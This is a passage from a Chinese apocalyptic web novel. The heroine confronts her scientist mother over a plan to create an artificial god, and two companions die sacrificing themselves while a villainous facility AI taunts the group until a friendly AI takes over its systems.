“其实还有更糟的,”程承微笑示意周围缓缓下降的玻璃墙壁,以及墙壁外看向他们的无数双眼睛:“看起来他们似乎下一秒就要扑过来了哦。”
碎裂的玻璃声从四面八方传来,培养皿内的几个感染者破墙而出。几人背对着背,被无数感染者包围在内。
在四面感染者背后的沙壁上,投影出了几人的信息,不知是否是因为信号不好,几个信息断断续续地闪动着。
“虽然现在情况很糟糕,”林随安声音冷静:“但是,应该快要下雨了。”
是啊,如果他们在下雨之前始终在这里被拖住,那他们就等于选择了这一条路。这是他们都不愿意看到的。
“那能怎么办啊,还真让伏苓顺着那人成神吗?”祝无忧有点急了。
程承沉默片刻,道:“好像也没什么其他办法了。”
留给他们的时间太短了,他们根本没办法去思考更多,只能在电光闪石之间确定他们选择的路。
林随遇吐出一口气,像是下定了某种决心,语速飞快:“伏苓,你和程承上去,下面我们仨顶住。”
伏苓有些烦躁:“上面还不知道会发生什么?”
“但我们几个死磕在这里也不是办法。”林随安附和道:“你们上去看看情况,随机应变。”
她笑了笑:“既然都走到这里了,大家都是做好了要牺牲的准备的,不管怎么样,救下越多人越好。”
伏苓沉默一瞬,转头看她。林随安的眸子清澈而深沉,带着某种足以震慑心灵的决心。
程承轻轻碰了碰她的手:“我们先走,或许还有转机。”
伏苓安静地看着他,漆黑的眸子印着冰冷的稀碎白光,却显得格外有温度。两人目光交汇的瞬间,仿佛千言万语在此刻碰撞成电光火石。
片刻后,她轻轻点头,对着林随遇道:“注意安全,我们会尽快回来。”
感染者的低吼声此起彼伏,如同暗色中的恶魔,企图吞噬一切生机。
林随遇深呼吸,周身开始汇聚起微弱的光芒。这光芒逐渐增强,从他的掌心、指尖乃至全身每一寸肌肤中溢出,将他整个人包裹在一层耀眼的光环之中。
他猛地张开双臂,凝聚数秒的能量瞬间爆发,化作无数道璀璨的光束,向四面八方激射而去,快速靠近的感染者被一道道光束弹开,发出凄厉的哀嚎。
在这片由光编织的防护网中,以五人为中心,顿时空出一大片空地来。
林随遇立马道:“趁现在!”
伏苓和程承抓紧时机,以最快的速度进了电梯,在门关上的前一瞬,她认真喊到:“你们坚持一下,我们会以最快的速度赶下来的。”
电梯门轻轻关上。
祝无忧哭丧着脸:“我好有压力呀。”
卡牌在她的指尖跳跃,随着她的动作一张张飞出,环绕在他们三人周围,形成了一道流光溢彩的屏障。
丧尸们虽然被林随遇的攻击击退,但仍有少数不死心地试图靠近。
然而,当它们触碰到那由卡牌构成的屏障时,却仿佛撞上了无形的墙壁,发出“砰砰”的声响,却无法穿透分毫。
林随安缓缓抬起手,将手掌轻轻覆盖在卡牌屏障之上。顿时,空间在那一刻变得可塑。
她吐出一口气,精神高度集中地呢喃着:“没有别的地方了,转移到地上。”
最靠近林随安的数个感染者群突然开始躁动起来,它们仿佛被一股无形的力量所牵引,身体开始变得模糊,就像是被吸入了某个看不见的空间漩涡之中。
这些相对于周围的感染者来说只是杯水车薪。
但林随遇还是微不可察地松了口气:“好歹能暂时挡住一会。”
……
趁着电梯上升的时间,程承飞速理清了一下现状。
异能的存在是为了给人造之神提供能量,感染者被他们利用铸就神明的血肉。
但大量能量汇聚,时间久了总会流散开。就像一捧沙子,如果没有容器,就算汇聚得再多,也无法铸成高塔。
所以他的存在,应该相当于能量的容器。
体内的兔子自从进入肃州地界后就开始装死,到现在也没有出来吱一声。
他轻轻磨了磨牙。
“程承。”伏苓的声音响起。
程承看过去,她靠在电梯的栏杆上,身形懒散,目光却深沉似海。
程承应了一声。
伏苓问:“我们能顺利解决这个麻烦吗?”
程承顿了两秒,轻声道:“总会解决的。”
电梯突然震颤一下,伏苓抓住一旁的扶手,车箱停止向上的动作,缓缓朝着前方滑动。
随着“叮咚”的一声,电梯门向两侧打开。
入目是一片鲜红,四周被暗红色的壁垒环绕,巨大的心脏横在前方,正有力地跳动着,每一次的收缩和舒张都仿佛异常惊心动魄的地震,震麻了伏苓的身体。
纵横交错的血管紧密地缠绕在心脏上,没入心脏中,尾端向四面八方延伸。
“你之前说听到什么声音,是不是就是这颗……”程承后退了一小步,瞳孔微微颤抖,语气犹豫,“心脏跳动发出来的?”
伏苓的心脏如同被一把大手紧紧攥住,喘不过气。她长长地吐出一口气,尽量冷静地说:“对,就是这个声音。”
程承往前走了两步,试着召唤了一下血兔,还是毫无动静,无奈之下,他只能试探性地运起红雾碰了碰那颗跳动的心脏。
红雾触碰到的那瞬间,宛如溪流汇入汪洋,被心脏吸收。
程承皱着眉:“应该是需要我将异能引进去。”
他与心脏之间的距离有点远,便又往前走了两步。
伏苓猛地一阵心悸,她几乎脱口而出:“等等!”
程承脚步一顿:“怎么了?”
伏苓按住胸口,方才那阵强烈的心悸已然消失,仿佛一切都只是一阵错觉。但她还是不敢赌。
她意识到,程承决不能离这心脏太近。
她说:“要不就在这里动用异能吧。”
程承抿了抿唇:“可以倒是可以,但是这样效率太低了。林随遇他们应该撑不了太长时间。”
伏苓咬咬牙:“那你往前走,我喊停的时候你就停下。”
虽然不太懂,程承还是温柔笑道:“好。”
他抬脚往前走了一步,回头看看伏苓。
伏苓:“继续。”
又一步。
伏苓:“继续。”
再一步。
伏苓:“往前。”
程承抬脚的那一瞬,强烈的不安席卷了伏苓全身,她厉声喊道:“停!”
她微微喘着气,抬眼看着程承:“就在这里,一步都不要往前了。”
程承沉默一瞬,乖乖点了点头。
许久未出现的机械音再次响起:“伏苓小姐,请进入电梯,我将带领您去往沈小姐身边。”
想到他们的伙伴还在下面孤军奋战,伏苓就算再担心,也不敢站在这里傻等,“我去找沈文乔,你一定一定不要往前。”
她一步一回首,再次叮嘱:“要听话。”
程承噗呲一声笑了出来,漆黑的瞳孔里满是温柔:“你当我是小孩子呢?放心。”
伏苓看了他一眼,进了电梯,门缓缓关上。
程承垂着眸,红色的雾气仿佛被身后的心脏吸引,争先恐后地涌入。
“程承。”熟悉的声音在他身后响起。
程承笑了笑,转过身来看着坐在血管上的血兔:“终于愿意出来了?”
……
狭小的电梯里,伏苓独自伫立在中央。
AI的声音没再响起,电梯兀自开始震颤,灯光从原本冰冷的白色变成了闪烁不定的红。还没等伏苓有所动作,电梯突然向下方窜去。
伏苓只觉身体猛地一沉,又骤然一轻,心脏也跟着剧烈跳动起来。她伸手扶住箱壁,掌心传来冰冷的触感。
下一瞬,电梯又毫无预兆的开始横向飞驰,宛如搭上了一条未知的轨道。
紧接着,电梯再度转向向着左边猛冲,甚至隐隐向后仰去,剧烈的震动让伏苓差点失去平衡,她暗骂一声,抓紧了一侧厢壁上的扶手。
红光交错间,电梯外出现了奇异的壁画,在伏苓的瞳孔中闪烁——
无数红线捆着一个巨大的人,或者是,神,而红线的另一端,根根埋入了世人体内。
明明电梯在飞速运动,外面的壁画却仿佛静止一般,不断地闪烁着出现在四周。
“咚”地一声,电梯骤然停止,伏苓被惯性甩在墙壁上。
她揉着手腕,在电梯门打开的同时缓缓起身。
沈文乔转过身来,两人的目光在空中交汇。
数秒的沉默后,伏苓率先开口:“有事快说。”
沈文乔笑了笑:“你还是那么心急啊。”
这里的屋子倒是像个正常的家,但也只有基本的生活用品,没有任何装饰,甚至墙壁都依旧是沙子做的。
伏苓没什么耐心跟她对峙,绕着边缘寻找出口。
沈文乔叹了口气:“你就不能给我五分钟吗?”
伏苓反唇相讥:“那你给我的伙伴五分钟了吗?”
她稍稍停顿,略带嘲讽地抬手点了点GE:“五分钟,我计时了。”
沈文乔却盯着她耳侧的GE:“方休给你的?你们还在联系?”
“你不是在监视我?这你自己不清楚吗?”伏苓挑眉看了她一眼,又开始继续寻找出口。
沈文乔皱眉:“他就是个固执的老古董,你可是未来的神明,不要跟他相处太多。”
伏苓踢了踢挡在前面的桌子,语气随意:“哦,但是如果没有他,我五岁就饿死了。毕竟,”她顿了顿,抬眼看向沈文乔:“总会有不靠谱的父母丢下五岁的孩子出远门。”
沈文乔丝毫不觉得愧疚:“你可是未来的神明啊!对待你不需要像对待普通的孩子一样。你看,就算五岁之后我就没再干涉你的生活,你不是依旧走到了这里吗?”
伏苓嘲讽一笑,她早就该对自己的父母失去期待的:“别把功劳都拢到你那去。”
“哦,对了。”她顿了顿,将软剑甩了出来,剑鞘上闪过一处红光,稍纵即逝:“你用来监视我的东西,在这把软剑里面吧?”
沈文乔愣了一瞬,还没等她说话,伏苓就笑了:“想问为什么?当然是因为我浑身上下只有这把软剑是你们给的。”
沈文乔直直地看着她,突然仰头大笑:“伏苓啊伏苓,你可真是越来越让我满意了。你知道为什么这把软剑可以斩断一些异能吗?”
伏苓淡漠地看了她一眼。
“因为异能的母体被我锻造进了软剑,软剑上的每一寸刃鞘,都是最高等级的异能。”沈文乔说,“为的就是防止你在无数被核心强化的异能者手下死去。当然,我相信你,就算没有这把软剑,你也可以走到这里,是吗?”<
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伏苓没管她,敲了敲侧边的墙壁。这里的声音空荡,多半就是这了。
她转过身靠在墙上,抱着臂看了眼时间:“你还剩两分四十秒。不知道说什么的话,就聊聊你为什么要这么做吧。”
沈文乔癫狂的笑声戛然而止,她定定地看着伏苓,眸中流露出一丝复杂的情绪:“你觉得我是在虚情假意地客套吗?伏苓,天下没有父母是不爱自己的孩子的,我也是第一次当妈妈,做错事情很正常。”
伏苓笑了一声:“是吗。好吧。”
“你不相信就算了。”沈文乔站直身体:“我也是独身一人长大的,兢兢业业数十年,从本科到硕士,再到博士,最后却被社会贬低得一文不值。”
似乎是想到了曾经的事情,她笑得嘲讽:“我努力了这么多年,却被他们一句轻飘飘的一句给否定了,哪怕我已经成为了博士,我依旧要被那些高门贵族排挤。”
“世界上的天才太多,无奈之下,我只能来到沙漠中的研究所,希望能找到一处清静之地。”沈文乔说:“在这里,我遇到了一位治沙人,他姓林,对我们很好。只是没想到,这里的人也那么多。”
她颤抖着深呼吸,语气狠戾:“我们团队这么多人与我理念相同,所以出问题的不是我,是这个畸形的世界。只有踩在这篇土地上的人变少了,我们才会有生存的空间!”
伏苓不咸不淡得问:“这位治沙人对你很重要?”
沈文乔奇怪地看了她一眼:“当然不是,他只是一个导火索。你不会真以为我能弄出这么大动静吧?肃州的环境只是全球最最不起眼的一个,世界上那么多人在搞破坏,所以,就下雨了。”
所以感染者是天灾所致,异能才是沈文乔的研究团队所致。
只不过他们团队利用了感染者,将其作为人造神的养料。
GE“滴滴”响了两声,时间到了。伏苓直起身:“说完了?”
她将软剑扔在地上,轻描淡写道:“这个我也不要了。”
伏苓精准地摁下了侧边微微凸起的砖块,门缓缓打开。前方是一条拱形的通道。不远处,感染者听到声音,朝着通道这边冲来。
她顺手拿起旁边摆着的拖把,脚踩在拖把头上,手臂发力将棍子抽了出来。
“伏苓!”沈文乔看着那把被扔在地上的软剑,骤然激动:“你真以为你能改变什么吗?我们数十人殚精竭虑才抵达今日,其中多少心血投入其中,就是为了神明的诞生!你以为我们没有做应急措施吗?我告诉你,你错了,不管你多么努力都没有办法改变这个结果!”
伏苓充耳不闻,单手拎着棍子飞快地向前跑去,长发在身后飞扬。
沈文乔嘶吼着:“今天研究所里的人都会死,包括我。你做不到的!你的朋友,爱人都将化作献给神明的祭品!”
感染者近在眼前,伏苓一脚踩上侧边墙壁,手中长棍如狂风骤雨在她手中舞动,仿佛带着无尽的威压砸向感染者。
感染者飞扑而上,她俯身,长棍挥舞于背部上方,一棍子劈向感染者,将它甩在墙上,扬起阵阵灰尘。
她的身影几乎消失在通道之中,沈文乔大吼:“可是我有什么错,我只是想轻轻松松地活着,这个世界总是要逼死我,我就不该反抗吗?”
远处的光照进来,将伏苓的身影照成一道黑色的剪影。她微微侧头,长发缓缓落下:“可以啊。我也觉得不公,所以我也要反抗,我们真不愧是母女,不是吗?”
她大步向前走去,沈文乔声音带着颤抖:“可是妈妈还是爱你的……”
她跌坐在地,泪水顺着脸颊滑落。她不知道为什么哭,只觉得滚烫的泪水中藏着太多太多连她都没有理清的感情和情绪。
……
强光射过,眼前的感染者却如同早有预料一般,向侧边躲过。光的速度很快,虽然他们没有办法毫发无损地躲过攻击,但也避开了身体的关键区域。
林随遇单膝跪在地上,汗水从他的额头滑落,滴在脚下的沙石里。
四周的墙壁上还在播放他们的视频和信息,AI的声音彬彬有礼:“你们打不过的,不如早日放弃。”
林随安双手撑着膝盖,小口小口地喘着气。
她能感受到,眼前的感染者不仅实力强劲,身体坚硬如铁,似乎还受这个AI控制。
AI通过监视他们以往的行为,用大数据推测出他们的行动逻辑,从而操控感染者以最小的动作避开最大的攻击力道。
这招实在是险恶,以至于他们三人联手也无法撑过太长时间。
林随安依旧接近力竭,她知道其他两人的情况也好不到哪去,心中不免焦急起来。
祝无忧夹着卡牌的手指在微微颤抖,她已经没有力气哭了,甚至几乎说不出一句话来。
这里的感染者实在是太难缠了,他们打不过的!
祝无忧心中涌上了浓浓的绝望。
四周的感染者再次朝着他们扑来,祝无忧侧身避过最前面的感染者,跌倒在地上,她看着四面八方涌过来的密密麻麻的感染者,疯狂扔着卡牌:“我不行了啊!”
说时迟那时快,,一阵强劲的风夹杂着破空之声,将她额前的发丝吹乱。
棍棒砸在□□上的声音如同重锤击鼓,伴随着骨头碎裂的声音。
祝无忧睁开眼睛,眼泪还挂在颊边。就看到一道高大的身影挡在她的身前,长棍一横,发丝随着动作飞舞。
伏苓一手持棍,一手举着能量枪飞速射击,期间还能抽空转头询问:“没事吧?”
祝无忧深吸一口气,哇地一声哭出来:“伏苓你终于回来了呜呜呜……”
林随安撑起身子,语速飞快:“AI分析了我们的数据,我们对感染者的攻击都会被他们躲开。”
伏苓微微挑眉,仔细看去,除了最开始自己猝不及防进攻的那几棍子实打实地敲碎了感染者的头骨,剩下的攻击都被周围的感染者不着痕迹地躲了过去。
但能量枪的射击速度很快,范围也很广,大部分躲过去的感染者都被击穿了手臂。
AI的声音自上空传来:“啊,亲爱的伏苓小姐,您回来了。说实话,您回不回来的意义都不大,因为不管你们再怎么努力,最终都只会有一个结果。”
伏苓烦躁地掏了掏耳朵。
AI还在继续:“相信您已经得知,您的攻击相对于我们来说是无效的,就算您凭借侥幸击杀了几个感染者,也不过是沧海一粟,徒劳的无用功罢了。”
四周墙壁上的画面飞速变幻,是他们之前打斗时的场景。
“如您所见,你们五个小团队里所有人接下来的行动我都可以预测出来。当然,您还未成神,所以我也可以预测您的。”AI说:“实在是抱歉,不过今天这场闹剧也该结束了,我们无比期待您成神的那一刻的到来,所以不该在这种事情上浪费时间。”
话音落下的那瞬,周围的感染者疯狂躁动起来,朝着三人扑去。
伏苓面色凝重,伸手将祝无忧推到身后,长棍又快又狠地砸在感染者头上,借着力道飞身踹向另一侧扑过来的感染者。
下一秒,她的长棍被一只青黑的手拽住。
伏苓转头,对上了自己父亲布满尸斑的脸。
在方休的曾经提到过的只言片语中,伏苓稍微了解到了一点关于伏怀的事情。
他是个很聪明的研究员,时常提出一些大胆且疯狂的主意,方休离开这所研究院的最大的原因就是因为伏怀。
这个人好像根本就不在乎规则,满心满眼里只有自己的研究,为达目的誓不罢休,哪怕是付出巨大的代价。
这样的人是非常危险的,方休意识到他们会做出一些胆大妄为的举动,所以果断的离开了研究院。
事实证明,方休的决定非常正确。
后来两人见过几面,主要是因为沈文乔基本上没有回去看过伏苓,但是伏怀会时常回去督促她练剑。
方休一直觉得这夫妻俩的行事作风实在是令人胆战心惊,伏怀心狠手辣,伏苓刚刚学会走路,他便已经开始要求伏苓每日做基本功;而沈文乔感情淡薄,除了回来将伏苓生下,其余时间内没有回来过一次,就仿佛她根本没有这个女儿一样。
所以记忆里,伏苓更常见到伏怀。他的长相于八年前没什么不同,除了脸上那几块青黑的尸斑。
身后传来了嘶吼声,伏苓短暂失神后立刻回过神来,她微微侧头,瞧见了原本被关在实验室中的培养皿中,身着白大褂的研究员。
伏苓身形一闪,如同一条敏捷的猎豹,瞬间避开了其中一人的扑击。
她的长棍仍然被身后的伏怀死死抓着,伏苓干脆用力将棍子抵向伏怀,借力跳起,一个回旋踢重重的踹在最前方研究员的胸口,那个研究员被巨大的力量击飞出去,撞到了后方一连串的感染者。
伏苓丝毫不敢懈怠,拽着长棍一边,手臂发力将伏怀甩了出去,狠狠撞在墙上,扬起一阵沙尘。
身侧不断有其他感染者涌过来,伏苓飞速转动长棍,左挡右攻。棍身与感染者的肢体碰撞,发出沉闷的砰砰声。
伏怀再次从边缘爬了过来,趁着伏苓忙着对付周围疯狂上涌的感染者,他从阴影中猛地窜出,如同一道黑色的闪电,张着嘴跃向她,青黑腐烂的手指弯曲如钩,带着疯狂的力道冲向伏苓的心脏。
“伏苓!”林随安的声音从远处传来,带着惊恐。
伏苓朝着林随安的方向看去,余光中,她看见了自己的父亲毫不犹豫攻向自己心脏的身影。
那双早已死去的手仿佛要将她的心脏活生生挖出来。
73. 沙土下的罪恶03
时间如同慢放的影片,一帧帧划过。
林随安拼尽全力发动异能,瞬间移动到伏苓身侧,林随遇被感染者潮狠狠砸在墙壁上,但他却无心顾及,满目惊恐地看向这边,强劲的光束如利刃出鞘。
但伏苓却看向了另一边。
感染者实在太多,蜂拥而上的瞬间,就将他们四人吹散。
此刻,祝无忧处于距离他们都有着一定距离的边角,她也看到了伏苓这边的情况,下意识抽出卡牌试图扔过来。
但,她没有看见自己身后,穿着白大褂的感染者同样伸着手掌,下一秒就要贯穿她的心脏。
伏苓浑身血液上涌,强烈的危机感和恐惧感几乎要将她吞没。
在这瞬间,她无比希望自己是一个异能者,能瞬间移到祝无忧身边,把长棍塞到那个感染者的嘴里,将他整根手臂拧断;又或者拥有强劲且快速的光,能够穿透物理的距离,贯穿感染者的身躯。
或者拥有红雾,或者拥有风,或者拥有什么都好,只要不是像现在这样,只能无能为力地看着她在自己根本无法企及的距离之外,遭受致命的攻击。
那一瞬间,她想了无数种可能,最终也只能声嘶力竭地喊着:“去帮她啊!”
林随安和林随遇猛地转头。
掌心贯穿心脏。
鲜血从手掌中滑落,落入沙土,又被很快吸收。
祝无忧无意识地呕出一口血,浓艳的血滴缓慢地划破空气,滴在那张全黑的卡牌上。
卡牌坠落。
她声音轻轻,宛若自语:
“未知,血祭。”
以卡牌为中心,迸射出数千条红色丝线,填满了整个空间。
【血祭,未知牌。将持卡人的鲜血以及生命融入卡中,爆发出大范围的强劲攻击。
注:未知牌使用不可撤回。】
墙壁上祝无忧资料中,危险等级“A”疯狂跳动,,最终变成了血淋淋的“SS”。
备注不断跳动,毫秒之间,闪烁出了一行血字:血肉载体者。
红色迷住双眸,火光将她包裹,在这一刻,祝无忧的眼前闪过无数画面,身体变得轻飘飘的,像是踩在棉花上。
原来死亡是这种感觉啊……
回想这一路走来,她好像经历过无数个死亡的瞬间——列车上,消防站的高楼上……
但每一次都会有奇迹发生,总会有一个人在她身后温柔地托着她的背,将她拽回人间。
但今天,应该是没有了。
思维渐渐消散,记忆、人生都随之一起化作虚无,所有的一切都好像失去了意义。
祝无忧跌落在地上。
沙土仿佛一张柔软的大床,将她包裹,她的眼角陡然落下泪来,混入血中。
她的眼皮被无形的力量压下,最后的那一瞬,她好像又看到了伏苓笑着向她伸出手:
“现在,你是我的人了。”
她怎么会不清楚,当时自己展露的实力根本与强搭不上边,但伏苓就是同意了。她突然扯着唇笑了一下。
伏苓,希望你安好。
如果,还能再见的话……
你还愿意选我这个一无是处的人做朋友吗?
血色笼罩身体,隐入沙土。
*
红色的丝线几乎绞尽了大半的感染者,伏苓不管不顾地用手肘撞向伏怀,跌跌撞撞地朝着祝无忧倒下的地方跑去。
原本祝无忧所在之地已然空无一人,甚至连血液都没有留下。
伏苓浑身都在颤抖,脑内一片空白,却异常冷静。
苟延残喘的感染者,依旧在不断地向他们发动攻击,而林随遇和林随安也已经到了极致。
伏苓一棍子扫向试图攻向林随安的感染者,用蛮劲将其削了半个脑袋。
随后长棍短暂地被抛在空中,她反手将长棍像标枪一样扔了出去,力道之大,直接贯穿了正试图攻向林随遇的感染者的头骨。
能量枪飞速射击,造成的伤害依旧有限。
伏苓却丝毫没在意,依旧疯狂地攻击着感染者。
她知道,两人已经无法再战斗,但凡自己停下一秒,就会再次有人牺牲。
想到这点,她眼眶泛红,手中攻击速度加快,但这样的状态撑不了多久,如果再没有转机,他们会一起交代在这里。
四周再次回荡出了AI的声音:“不愧是我们千挑万选出来的时候血肉容器,潜力果然惊人。”
林随安捂着腰腹缓缓站起来:“所以,忧忧的死也是你们设定好的?”
AI古井无波的声音莫名透着一丝得意:“自然,为了我们都能神明,牺牲几个人算什……什……滋…”
AI的声音突然模糊起来,像是电视没有了信号,只能拍打两下才堪堪发出两下声音。
周围的感染者突然顿在原地,四周不断变换的画面疯狂闪烁,变成了雪花屏。
伏苓耳侧的GE滚烫,两秒后,AI的声音突然变成了另一个完全不同的声音:“伏苓小姐您好,我是方休手下的AI,您可以叫我GE。”
伏苓站在原地,没说话。
GE继续道:“抱歉,我来晚了。这里的计算机防火墙太过严密,直到现在我才侵入进来,没能救下祝小姐我很抱歉。这里的程序已经全权由我接管,感染者不会继续攻击你们,请放心。”
林随遇缓缓跪在地上,血水混着汗水顺着脸颊滴落。他眼前一阵一阵发白,指尖不住地颤抖,不知是因为伙伴的逝去,还是因为力竭。
心脏的跳动声陡然沉重,与胸腔内的跳动声连成一片。
伏苓猛地抬头。
林随安的状态好一点,伏苓走过去扶起她:“我上去看一下程承的情况,你带着林随遇到稍微安全点的地方。”
虽然这里也没什么称得上是安全的地方,但好歹不能站在感染者的包围圈内。
林随安点点头,她的发丝被汗水沾湿,黏在鬓角,眸色漆黑:“注意安全。”
伏苓“嗯”了一声,转身向电梯走去。
电梯的轿厢已经不在中央的轨道里了,伏苓抬起头,目光顺着幽深的电梯井向上望去。上面漆黑一片轨道,如同沉默的巨蟒,伸向看不见的高处。
伏苓抬手扳住轨道,核心发力,矫健地向上爬去。
林随安一瘸一拐地靠近林随遇:“没事吧?”
林随遇摇摇头,语气有点发虚:“可能是消耗太大了。”
……
程承看着血兔,他轻轻笑了一下,眸子冰冷:“好不容易出来一趟,是有事要跟我说?”
血兔眨巴眨巴它的豆豆眼,似乎是有些难以启齿。
程承看穿了它的心思:“别纠结了,要说快点说。”
眼前巨大的心脏依旧在一起一伏,血兔的声音却格外清晰:“你必须进去。”
程承看了它一眼:“为什么?”
“因为……如果你不献出自己的生命,你的位置就会由伏苓顶上。”血兔的话如同一道残忍的冰刃。
程承沉默地看着它。血兔一咬牙,侧过头避开他的目光,一鼓作气地说:“你应该已经猜到你是能量的容器了吧?如果在下雨之前你没有融入这颗心脏,从各地涌过来的巨大能量将无法储存,沈文乔的研究团队针对这一情况有一个应急措施——如果容器无法就位,只能由神明的候选人补上。因为只有你和伏苓可以和我相融,所以最终的情况就是你们俩必须要牺牲一个。”
心脏砰砰地跳着,程承说:“那如果我们俩都不配合呢?”
“能量聚集的时候,如果没有容器,基地会自动爆炸,方圆百里都会化为齑粉,也就能保证你们俩中肯定会有一个人死去。”血兔吞吞吐吐道。
程承吐出一口浊气:“爆炸的话这个心脏不是也会毁掉吗?”
“人造神的存在并不局限于肉眼可见。经过八年的积累,神明的雏形基本上已经成功,这个心脏只是摆在明面上的东西吸收能量的东西罢了,实际上,不算是特别核心的东西。”血兔说,“如果你进入心脏的话,会被慢慢吸收,最终化为乌有,也是这个原因。”
“我知道了。”程承冷声道。
血兔观察着他的神情,小心翼翼地问:“所以……”
“我会进去的。”程承说。
他本质上是个悲观主义者,一路上曾经无数次想过最后的结局,如今的场面他也预料到过。
在数千数百次的模拟中,程承最想看到的结局其实是扭曲而畸形的。
他不想独自死去,只留伏苓一个人在世上;也不想眼睁睁看着伏苓死去,自己苟活。
如果要他选一个结局,他可能更倾向于两个人一起死,或者两个人一起活。
死同穴,在当下是一个多么美妙的词啊。
他想和伏苓死在一起,想在生命的最后一刻对她倾诉爱欲,想与她紧紧十指相扣,直到烈火吞噬他的意识。
但临到选择的时刻,他却退缩了。
扪心自问,他无论如何也舍不得拖着伏苓死在阴暗的地下。
她应该属于广袤的天空,属于温暖的世间。
程承缓缓抬脚。
这一瞬间扭曲旋转的红雾,如同他心中疯长的情愫,疯狂叫嚣着最原始的欲望。
他深知自己情感的扭曲,却又无法控制。
他忍不住去想,如果自己死了,伏苓会哭吗?
心脏猛烈收缩,程承闭了闭眼,走入心脏之中。
血色心脏开始剧烈地跳动,仿佛恶兽见到了垂涎的食物,异能被抽离的感觉像是在被吸走精气。他只觉得脑内的意识都变得轻飘飘的,身体失去力气。
他猛地跪在地上。
汗水打湿了他的额发,程承微微抬头,对上了伏苓的眸子。
那一瞬间,他像是个犯了错事被抓到的小孩,无措地看着站在不远处的伏苓。
他伸出手,张嘴想说什么,手掌却贴在了一层薄膜上。
程承微微愣住,这才意识到,自己进来便不再允许出去了。
伏苓突然动了起来,她举起能量枪,对准了程承的额头。
砰砰砰。
连发三枪,枪枪被这层薄膜挡在外面。
伏苓快步走来,程承试图喊她:“伏苓,你听我说……”
伏苓一拳砸在薄膜上,屏障纹丝不动,她死死咬着牙,将枪口对准屏障近距离开枪,巨大的后坐力让她整个手都在颤抖。
程承眼眶通红,他轻声唤道:“伏苓,你先冷静一下。”
“我冷静什么,你让我怎么冷静?”伏苓突然吼出声,她狠狠砸在薄膜上,手心因为用力过猛而渗出鲜血,顺着纹路滑落。她的泪水不受控地滑落,哽咽道:“你答应过我不会往前的,你答应过我的……”
她无力地滑坐在地上,徒劳地砸着薄膜。
程承贴在膜上,轻声解释:“对不起,我……必须进来。”
“哪有什么狗屁必须?”伏苓骂出声:“你是骗子!你早就打算好了,少跟我说什么后来谁跟你说了什么,自从进入肃州后,你一直不怎么说话,其实心里早就盘算着这件事了吧?一路上你都运筹帷幄,什么事情都能猜得出来,怎么反而这件事却临近现在才说出来?你就是早知道了,你一直在骗我,你早就准备好死在这里了!”
她再次狠狠砸向薄膜,像孩子一样嚎啕大哭:“程承你就是个骗子,你凭什么,凭什么就这么轻飘飘地决定了自己的结局,你有想过我吗?你有想过我会怎么样吗?还是你笃定了我会苟延残喘着,像个傻子一样等你重新回到这个世界上?你就是个混蛋!”
程承摇着头,泪水涌出:“我没有这么想,伏苓……”
快到嘴边的那句“不哭”他怎么也说不出口。
他怕她哭,又怕她不哭。
怕若是自己离开她就再也不哭了,那么多情绪堆在心口,该有多痛苦。
他只能眼睁睁看着伏苓哭得撕心裂肺,徒劳地一遍又一遍地试图为她擦干泪水,声音轻柔又坚定地重复:“我会回来的,我会回来的……”
他知道自己会回来,但又怕这时间太漫长。
伏苓之后会怎么样,身边会有人簇拥吗,堆积在胸口的情绪有人能诉说吗……
他担心的事情太多了,多到他甚至不知道该从何去说起。
他思来想去。
怕她不爱他,又怕她太爱他。
生离死别,等待的那人才最痛苦,程承不愿她痛苦,却又不得不让她痛苦。
心像是被人揪住,疼到麻木,疼到窒息,他向来喜欢这般的感受,如今,却是不喜欢了。
心脏的跳动如同擂鼓,他的身体变得轻飘飘的,恍惚间,他仿佛听到雨点滴落在沙漠之中。
他意识到,自己快离开了。
那一瞬,他想说,我爱你。
但又怕这会让她更加日思夜想,话到嘴边,又不敢说了。
爱意堵在咽喉,辛辣而粘腻。
千言万语说不出口,最后到底还是道了一句:“抱歉。”
抱歉,要离开你这么久。
抱歉,让你这么难受。
抱歉,若早算到这里,或许我会克制一些,让你不这么爱我。
抱歉,但是,我爱你。
因为爱你,所以抱歉。
他的身形渐渐消散,心脏与阻碍两人的薄膜也随之消失,伏苓身子失去平衡,向前摔去。
她下意识伸手想抱住程承,却在触碰到的那一瞬抱了个空。
她跌落在地。
心脏坠了机。
叮咚一声。
金属撞在地上的声音。
伏苓的手心撞在了坠落在地的那枚戒指。
她记得,程承曾经说,这是他母亲死前被他拼命拽下来的遗物,寄托了他对母亲的思念。
而如今,这枚残留着他体温的戒指落入了另一个会思念他的人手中。
周围的一切都变得遥远,能量化作成千上万的红色光点,一颗一颗没入伏苓的身体。
*
与此同时,无数城市的异能者突然痛苦地捂着心口跌倒在地。
谢增扶着身侧哀嚎的队员,焦急地对旁边人大喊:“快开屏蔽器!民众都进目标建筑物了吗?”
旁边的小战士满脸急切:“屏蔽器已经打开了!但是给我们的时间太短了!还有很多人滞留在外面,我们派去各个城市的战士们还在努力把他们拉进建筑!”
谢增立马起身:“我去看看集庆还有没有滞留在外面的民众,广播继续播报!让大家撑住!!”
这是方休和一众顶尖研究员在短短数日里昼夜不眠想出的能短暂对抗这场灾祸的办法。
只能维持五分钟,五分钟后,如果伏苓没能解决肃州的情况,一切都将如沈文乔所愿。
广播开始一遍遍快速播报。
方休看向肃州的方向,眉头紧锁,说出来的话:“也不知道她能不能解决这次危机。”
—
再一程跪在地上,死死拽着胸口的衣服。
郭叔跪在他身边,焦急地打着手语,嘴里“啊啊啊”地喊着。
广播播报的第一时间,再一程就帮助军队帮扶百姓进入和平广场。
广场最上方盘旋着一个小小的无人机。
屏蔽器是有用的,他感受到的撕裂感不重,但在某个瞬间,撕心裂肺的痛感席卷全身。
周围人立马关心地凑了过来。
大家都没事,只有他这样?
泪水涌出,一滴一滴地砸在地面上。
再一程颤着唇。
他意识到,自己的痛彻心扉,似乎并不是因为这场浩劫。
—
游寂一脚踹翻路灯,龇牙咧嘴:“靠,这么短的时间,丰镐那么多百姓怎么赶的过去?!”
楚河忍着疼站起来,剧烈的疼痛让他无法直起腰,他艰难地拉着倒在地上的妇女往前面的建筑里走,没力气回话。
游寂怀里还抱着一个疼到干呕的小女孩,他疼得冷汗直流,下意识抬眼看去。
丰镐还活着的百姓太多了,从广播第一次播报开始,他就在第一时间配合军队协助百姓进入最大的建筑。
但时间实在是太少太少了。
周围全是倒在地上痛呼的百姓,惨叫声响彻云霄。
小女孩扯着游寂的衣领,哭喊:“父亲救救我!”
游寂短暂地沉默了两秒,突然操了一声,他喊:“楚河。”
楚河看了他一眼。
游寂说:“我体内还有一点核心的能量,应该可以屏蔽这个区域的异能,跟那无人机的功能差不多。”
